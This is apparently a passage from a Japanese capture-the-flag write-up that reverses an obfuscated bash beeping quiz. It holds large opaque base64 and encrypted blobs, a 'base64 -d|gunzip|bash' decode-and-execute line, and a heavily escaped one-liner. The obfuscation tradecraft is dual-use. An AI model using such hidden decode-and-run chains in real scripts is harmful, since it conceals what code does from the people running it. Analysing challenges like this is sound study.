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 How many beeps?
37行目を見てみると、以下のような処理が確認できます。
echo -n H4sIA<長い文字列>AAA==|base64 -d|gunzip|bash;
文字列をbase64デコードして、gunzipで展開し、bashで実行しているようです。 上記の処理のbashを削除して、展開されたスクリプトを確認してみます。
cat Beeeeeeeeeer_2.sh | head -n 37 | tail -n 1 | sed -e "s/|bash;/;/" | bash > Beeeeeeeeeer_3.sh
展開されたスクリプトを確認すると、以下のようになっていました。 また、ワンラインでいろいろ処理を実行しているようです。
for k in $($(echo p2IkPt== |tr A-Za-z N-ZA-Mn-za-m|base64 -d) $((RANDOM % 10 +1)));do l=$((RANDOM % 10 +1)); for m in $($(echo ==gCxV2c |rev|base64 -d) $l); do $($'\u0065\u0063\u0068\u006f' ZWNobwo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' ) -ne '\a'; $'\u0073\u006c\u0065\u0065\u0070' $(echo =oQM |rev|base64 -d); done; $($'\x65\x63\x68\x6f' ZWNobwo= | $'\x62\x61\x73\x65\x36\x34' -d) "How many beeps?"; $'\162\145\141\144' n </dev/tty; export n; if [ "$n" -ne "$l" ];then $'\x65\x78\x69\x74';fi; done;echo ZWNobyAtbmUgJ1xhJztzbGVlcCAxO2VjaG8gLW5lICdcYSc7c2xlZXAgMTtlY2hvIC1uZSAnXGEnO3NsZWVwIDE7ZWNobyAiSG93IG1hbnkgYmVlcHM/IjsK|$($'\x65\x63\x68\x6f' YmFzZTY0Cg== | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' ) $(echo XDJY |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d)|$(echo =bNnmSzL |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d); $'\162\145\141\144' $'\u006e' </dev/tty; $'\u0065\u0078\u0070\u006f\u0072\u0074' $'\156';echo U2FsdGVkX18/dVsEIYzYdHlc7BVNg3Hrv5bFmN/mVxrYNXUjnYiCuDSCkUzl+RcdoPcG4lhrGT6R/epB6rV0cLehjx8aWJInLR+W2tf+RSFX+6LFZFVz7dvpYXD/DD754mX/zS0XndPpvTfmCgACxI+9MDjvo1BLgEbe3sm+g04FYanJMQ5UwRtE87Wrs011AhkHkYP1Fn4JoOE+vgfutAUty7raae0I+IKh1TLWFiwkntm1wP0JHWLvhD/DavHhLn3kbrZ5KM5lcZvvGWiuP1gctAdShPE4WxNfT5MZKzFrjEv/b7UGtU1iAt8wIr6+cHCyyfP5IcMYeAbshRJN6yTPyy/mA0PBxWf+gArG4djIpm7Wwjd4IOivx7TgaJFxMjXR+7lnj9UNdtUDPMIe4D0r5t1B6+RB7w/4yxxsyNVfZMwZ1FEuN12gUbNi0S5wGDbOBOygHSal05ra3UIYo3dL22j/0hfW1IzoZ4cwyJpWINKzdRS1TwK0qK/e1+b362A4ufLuJXFpqmJlpo9nstnaU9PqnOpJIcWjJMtKeZ/PjSUr6Ufk3cjE7LHCnK5/wkiWoXr8UMOA3uCyWv95veGRKngVMiqJlTX+UeA2/Ai29vH/hHGtomyQCjf0z5skskxvHl5ZBZsQcoF+aoEzcQc7YpjaqZV342A8CJfa+mxCHg7aFkJQI6P5lDtqCQVMtgR2CJSoRJ0dsfidsdvOjeEV+29z8G+GnCmtfEPWrUBAlR1swhtQGZ7u9O2ShTxUeCtKl7kUZpO1iLzppj0ruiYGFYGsRQdkxK4ZsFp+FF8yR4ItTj1Rxmqp4yYcTsawNSmg/3D4tsjVwi2wOXrIeyMApSssE6vzVX27QHi6MIKkV8klXhxTlrAWh/tOsliStCvkJJsAN5JTGzOXPwfM1Hm28jbBxUEfqQJwK5rzN5vLvQ1tEDpmkoC9G91PAtQV8qSgpzn0Hg/T8HZkX+DWpI/ZEUADFcwTfSbadMuU3pHg0BpqegTM9Sfl4WcFfZUfTOeoW98EW1xEPpPc7yLaQz/h28nLdlbGCQQY26fTnakfj59nhWpTVVBO6F2p5KP0jx/sue3avCf9n1/uqT7f+Ofp9CxTIiByXRhvQ73Z67EQDGTRo9f68C99SGR34UG0Heg4nhh3F9VzKV2tXya/vbxCwB88f4UT1zaSa6AHEx5jfrMiawJTh6FQS3aKa8TYE0tvAD80sSocBOTInVTrutZgvAyGarcO3OaNfAD9v1KQUKMomAYpPOGATMoNXNcx51uZUfC8pYBb8eWLcP+u6n0nIjasL2xdx1ontUjYkdiunyfJRIx7f6Jog3QnlEwW0BRi1Wi345T1kSReNtBVnstHx2FX+fO+8yqV1dmqavufwZmzd0zRXFvng7bhyfsifwUlZKJYBWL9U3A7fwyOI4Q//CgK9EO2DOW3OP0+svH76kuiyEqdKvfYkWzKJ2bTqf852Sm/pst2WCUBe5oVdqiEi1M4K5Mp2aY/axu84JfCYfcwPAO3PVkLtVIeajHr4KFwJyvoPWKKDRYJK7to/VsJGpbuv+jH0sxxPiADSWTB3q1YOweRWdNyh9I05vvW1QozSOpagLYJIFC9h78qJ0s0ZBXaIOj7MAT68I3ffjl/8zB+FOTv2P/Xzy+UA4RM9yaFqEoHbg03BS6dUGZAC3aGLJp3KqK7VKY4a5jY7ioXooI+r8Ecn+oEKBqwgufXYaMmUwEZnyFnJcNNnzYKtB9W12deP8J76cLSYSSIJs/9d9rlyUH6iq7q1OSq58hJGr+HNTdXVSL+cNONPxQcKIEGOC0fOH79ztZa1eVlHL5h/djIXhkXtfQb1Pl/XnUehB+MPwaIlokgHbQWDiPLfZ4qStA6J21pIj12v9xRSyNjznbZL5cvA1SJXiBHWSGiAkwOLhLMKton2ziXVaYDUyoYDsjNnlIFeGOtYpBBwGyR/2sRc3YkQT3ToOjkPXvFL5GlSVwXXsPxmdjZSZfB7ztE1e2OyKo1Ar2XeKNDkoMYKQ5IG+ZsrnEn8lZyia5D4bPIm/bzWk9GqK1SvGqnXWJfz6c9H/Oqc3CuIQRiuvED+75kcXw8zRxZvXL9N+Tm+xRKmI0JhowpGH8DxIdcrymMC7XaNr/Ntu+GnFITZxGQboYEz5pDkFEMV9f3XJv4oBJZUBGzk4IhodhOp9xGXNle+IZZ7iQoTZcdUeH7LX3/aETFRDdnurBf2RtprIsqt6MSTduKMfz6n5/eK9fqGFy0M1XU4tTLjfp+/iOd+I7un7J5gXqldZjT83iUhEtwDIv2I27FC5XZ4jC2hD97CU6g+QPxdLNSNUtSPooJQl6FXm7d7JG0g1I0ujlyvbRkm2BnL3rwK5ZMas2ESKfV7IP/gaPxmf0LF4sC1SyIB7bPzM9J8XqxT7NDaOU+ZEqs7ZC5v9QBxMAGYFNC+vlhWq3B4EGWoqYih+mf1xoFjG5a+LiefWRTU/lR4yx70zj1JSKC/BIXPua+LZ/qamIyWztcsQpTRqNH39yjGx1YrvRCnqmeSgGzw5LeCv5Vpj4TnYwuKHmuKM2ijp55cGYbugh4yMTTlAJqyVlhVNcS+l8d3yxnqv5VFQ6qGFu51gWE/ippslhDm0XUpAFE5JDmaKHEmnsUZD10LOY+H+ReI5OcTdloR57KhLyo6uGvFIa4Cb8q1FSME8hAB2SONtVUK7whHv0e8tDxg3BoPrxeJem88v49gYIsD8cyDjGPlQLbQ5bXJX5grBkaW0DIqThWQ8vf2owm40JqcsHiPVg3lFLSlbqxgDiPR/gsFZT3Wh3l94kED7M4dg4I6gvvdToq3aKjmBa0t6KXAasWjGCsewG8Oywo5tinTA/47Tj4N5248VuRTAA3/USpeqKJCHId0ua6AziVae5DFB94nSH/NV02ODmWpuSGcpGHmVr3Bf2CjlVHLUqxwmOgkcBeaUF0+h24bBdEb+L+AnPFTpxbI4rv1Q6+Ee9EelN7ikyaWIIaeFOqnS5edXNM+gzwR/o3fyowADUeLYFMiYy+oeOjYmUoB7OnVTtNrnlpQCtmqX8IntrH8dHPQRFt6cx4QUJtMA9tTxk0xn9VMIwxbnuBoh/JWf7gm4ifE1Tuo6LhLcT6gVj4gSwxNoxSeq8K3u1IFeKTy/WnMu0sIh+nDsoTQlttPL4BgdYnq6AJg2nNS0uEDFHMkTTcQAXVxWrR4lJxjdXt+oiodmsQOCT0LW1RHq34bPmJ9eHI3bj6l71BoG+1nIaZDcUWwxB3+Vn93Wl5Ehw1UE1DWOuewZMOs87ZwsW2dWT8qO1aPaZhpj6gMtwpVRXgiH7EujuaI8kZztVBDVxAAql7w4wojo+3i6EIRmyxjRkNvCHAmbk8GHIzzhlFELs0ARMaOC+Uj1bbv2X2RAF7EZur30yigx395ALF6snoZVFiNNozmsLkGnsUdRu32NlmBUz6Yn3dptA6/iKuZmZMbnf+go4ZNRgqQTIzMtmpPQP5Lv0Yfiu+kr7oYDufZWdZjbfuBT/KRB+P9aWbTtsSZw5TphsQLT0T5g7BtsgVPkaVUlqiYlQHR+vD7LO6uGqlo+DyCmV8LfbGgZbOAxDzHmf/uS9iqIly9/1ooVsVoSZ+wHR6AAbDH2/5AsjajibDJDc8giGmym+sdIBOxXDPCBsR1S2c2/HcOxlcciFFjY3u6UASgwaabcnqQ0fVUazaxsf6MYmSJDPIWV0YClwI532fDCHEzXZAm10MCs0E6ZGzBedZSIgmlMiPeNsOQRWfTvzvIIHiatMzNJPSSwJu96Qjb32G7slnJons51n1jZAm+rRMb4G8FxR39vkRwb09QFdWPksEK5EWAm5Sawz/4dognbsv2f0z1yjHAsb5I9kcEITGJn9/Wb7Kk3CJ4Tr6sxUqhuWNjOlFnCVhOkCUcJOpeIFFI2t0O8AsdNs2sz5oJ33gMsakwX5pR3iy26vOmCGaurXWguZivfgUJzGl18LgOt3veAXHx53h5F64GH9sAJVfZ8SB9m+ywA2hr4N7YXbnn/bked9qKLQvH81pTjRWLOMbHNuqVqmnm4TpmkWsbgKpQEU5nnBk8pE8xAg13KbLzvXyc9JhXHeFZSQqUUWQMR6hf5z4sow6PTIQTUl8xYjYnKRCZ+VE2bQOGc6qmKpUuOxPONGoqZZZjmWJs8rpNnM7P+sQvLCSpRqAlRxRe9zKPtDyt5V98o95X/HPUYjd12hjUgsWvIa7hHTVXBi8NvNEiontypTYeJbmLe1W/z3XXDVZvCQP/3Mq42shhFTFWSFXR6jHzxutu+KaGyJaJA2i7bRI6YOU2ZQFZ71ByhnCWHQyXo5PaToIa4dcS4dWB0bKGir6XDiEA1RPPWaGdNP7eQutOloWkFkh/GIXR/tsqZ0O/TDXK9efMQ1L+8RbikXTxE0EscLycqmaZohTOxvta8DGe4HeTIvhYVru7x7ls7wy0Ti1qcpIX6dlPfeh8PRnhzbUfmj5N+nhUZ6z9AoSgNX1FTnt12iYNefxvu3V24pCKhorpnLwXjhqmeOoaI9lPKF/y8cZTsL4KPaz49+7Yoz9G3js/Kxk8LughRNyFDOHaFf44rGt88QVCp+4k895wbZASorqt9zTZtWE5BL3IWu32MxvlxmOCJY7GUSm2X867mtPkaLLckLVHNhcC43F8HtdnS96QgnH2q2UX1RyUpGN4tZ6Fe/2ioQiPzC58NWaksf